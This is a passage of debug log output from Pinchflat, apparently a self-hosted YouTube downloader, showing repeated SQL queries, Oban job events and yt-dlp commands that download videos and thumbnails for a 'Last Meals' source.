s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [39] 21:34:23.173 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [39] 21:34:23.173 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:34:23.173 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:23.173 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:23.173 [debug] Running yt-dlp command for action: get_downloadable_status 21:34:23.173 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:23.173 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:23.173 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:23.174 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/a6/ffa659636918a3a9640f444ebb6bc7daf36eabbf42ae4c7d998b8b4c466ce83b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:25.682 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/a6/ffa659636918a3a9640f444ebb6bc7daf36eabbf42ae4c7d998b8b4c466ce83b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:25.682 [debug] Running yt-dlp command for action: download 21:34:25.682 [debug] QUERY OK source="settings" db=0.1ms idle=763.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:25.683 [debug] QUERY OK source="settings" db=0.0ms idle=625.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:25.683 [debug] QUERY OK source="settings" db=0.0ms idle=625.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:25.683 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/42/fb/42fb24fcdeb6149c4f8b3281769004bf1ff93e11b9d216870e70a030b3632179.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:28.720 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:58.722 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.610 [info] {"source":"oban","duration":113,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:28.724 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:58.725 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.611 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:08.267 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/42/fb/42fb24fcdeb6149c4f8b3281769004bf1ff93e11b9d216870e70a030b3632179.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:36:08.283 [debug] Running yt-dlp command for action: download_thumbnail 21:36:08.283 [debug] QUERY OK source="settings" db=0.0ms idle=226.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:08.283 [debug] QUERY OK source="settings" db=0.0ms idle=226.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:08.284 [debug] QUERY OK source="settings" db=0.0ms idle=226.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:08.284 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/39/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1e/63/1e63084348c81b90fa712e0d216a6ed2c69dcc0a876fc4bd279cf9b894242d10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:36:10.983 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XcN_kk5swOY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/39/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1e/63/1e63084348c81b90fa712e0d216a6ed2c69dcc0a876fc4bd279cf9b894242d10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:36:10.984 [debug] QUERY OK db=0.0ms idle=926.6ms begin [] 21:36:10.984 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:36:08Z], "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", ~U[2026-03-28 01:36:10Z], 39] 21:36:10.984 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/39/metadata.json.gz", "/config/metadata/media_items/39/thumbnail.jpg", 39, ~U[2026-03-28 01:36:10Z], ~U[2026-03-28 01:36:10Z]] 21:36:10.985 [debug] QUERY OK db=0.0ms commit [] 21:36:10.985 [debug] QUERY OK source="media_items" db=0.4ms idle=927.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [346977797, ~U[2026-03-28 01:36:10Z], 39] 21:36:10.985 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:36:10.985 [info] {"args":{"id":39},"id":42,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":107814234,"event":"job:stop","queue_time":2791171387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:36:10.986 [debug] QUERY OK source="tasks" db=0.2ms idle=928.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:10.986 [debug] QUERY OK source="tasks" db=0.2ms idle=866.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:10.986 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:36:10.986 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:36:10.991 [info] {"args":{"id":40},"id":43,"meta":{},"system_time":1774661770991678654,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:36:10.992 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [40] 21:36:10.992 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:36:10.992 [debug] QUERY OK source="tasks" db=0.5ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:10.992 [debug] QUERY OK source="tasks" db=0.5ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:10.992 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:36:10.992 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:36:10.992 [debug] QUERY OK source="media_items" db=0.3ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 40] 21:36:10.992 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 40] 21:36:10.993 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [40] 21:36:10.993 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [40] 21:36:10.993 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:36:10.993 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:10.993 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:10.994 [debug] Running yt-dlp command for action: get_downloadable_status 21:36:10.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:10.994 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:10.994 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:10.994 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/25/f2251cf9e617889e69735e51dab58bba42fb70ee00900c30c86c860eb852843b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:36:13.428 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/25/f2251cf9e617889e69735e51dab58bba42fb70ee00900c30c86c860eb852843b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:36:13.428 [debug] Running yt-dlp command for action: download 21:36:13.428 [debug] QUERY OK source="settings" db=0.2ms idle=1370.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:13.428 [debug] QUERY OK source="settings" db=0.0ms idle=1371.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:13.429 [debug] QUERY OK source="settings" db=0.0ms idle=1371.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:13.429 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/5c/d05ca5e0ecc303e63b1d7f969fe04bbaa6cb52989f6c82c722c3257f43ba0f28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:36:28.727 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:58.729 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.612 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:27.509 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/5c/d05ca5e0ecc303e63b1d7f969fe04bbaa6cb52989f6c82c722c3257f43ba0f28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:37:27.518 [debug] Running yt-dlp command for action: download_thumbnail 21:37:27.519 [debug] QUERY OK source="settings" db=0.0ms idle=1461.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:27.519 [debug] QUERY OK source="settings" db=0.0ms idle=1461.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:27.519 [debug] QUERY OK source="settings" db=0.0ms idle=1461.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:27.519 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/40/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/85/48/8548c4c36ff3774b2535786938bfea64c2ceda374d8c7d384cd4b12a525928b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:37:28.732 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:30.663 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eUtrcz7rlfM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/40/thumbnail.%(ext)s --print-to-file after_move:%()j 